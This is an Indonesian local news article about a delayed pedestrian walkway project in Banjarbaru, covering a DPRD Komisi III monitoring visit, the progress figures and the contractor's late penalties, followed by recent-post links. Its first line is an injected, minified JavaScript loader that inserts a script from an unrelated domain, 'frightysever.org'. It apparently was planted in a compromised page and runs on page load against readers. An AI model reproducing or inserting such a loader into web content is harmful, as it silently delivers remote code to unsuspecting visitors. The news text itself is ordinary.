(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pedestrian Panglima Batu Molor, Ini Catatan Komisi III


KANALKALIMANTAN.COM, BANJARBARU – Molor dari target waktu yang ditentukan, proyek pekerjaan pedestrian Jalan Panglima Batur Banjarbaru terus dikebut hingga jelang tutup tahun 2024.

Terungkap saat monitoring Komisi III DPRD Kota Banjarbaru, Senin (16/12/2024) siang, progres pekerjaan belum 100 persen.

Wakil Ketua Komisi III Ronauli Saragih mengapresiasi progres yang sudah hampir selesai tersebut.

“Kalau untuk pedestrian sudah hampir selesai meski adendum masih sampai akhir Desember paling beberapa hari selesai. Kualitas pekerjaan harus maksimal pada saat pengerjaan selesai dan sudah serah terima kepada pemerintah,” ujarnya setelah kunjungan bersama anggota Komisi III DPRD Banjarbaru.

Baca juga: KPK Limpahkan Korupsi Proyek PUPR Kalsel ke PN Banjarmasin 

Sementara wakil rakyat lainnya, Rizal Siregar menyoroti pengerjaan pedestrian tahap tiga tersebut.

“Jangan sampai pedestrian dibuat, tetapi mengesampingkan fungsi maksimal drainase dan kabel optik. Artinya pihak pelaksana harus memperhatikan betul hal itu,” jelasnya.

Kabid Bina Marga Adi Maulana menyampaikan untuk progres pekerjaan sudah mencapai 97,16 persen sampai hari Senin (16/12/2024).

“Sampai akhir sesuai adendum pemberian kesempatan kami berikan waktu 50 hari kalender maksimal sampai 31 Desember tapi mudah-mudahan tanggal 20 karena tinggal pekerjaan finishing pembersihanbisa selesai,” ucapnya.

Baca juga: Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

Menurut Adi beberapa pengerjaan yang masih sisa selain finising adalah cat pada pembatas antara jalan dan pedestrian.

“Setelah nanti selesai dan diserahkan maka kontraktor masih punya tanggungjawab selama enam bulan untuk perawatan,” tuntasnya.

Sekadari diketahui dalam masa adendum pihak kontraktor dikenakan denda dengan nilai Rp 466.392 per hari keterlambatan. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

9 menit ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

19 menit ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

1 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

5 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

6 jam ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

20 jam ago

This website uses cookies.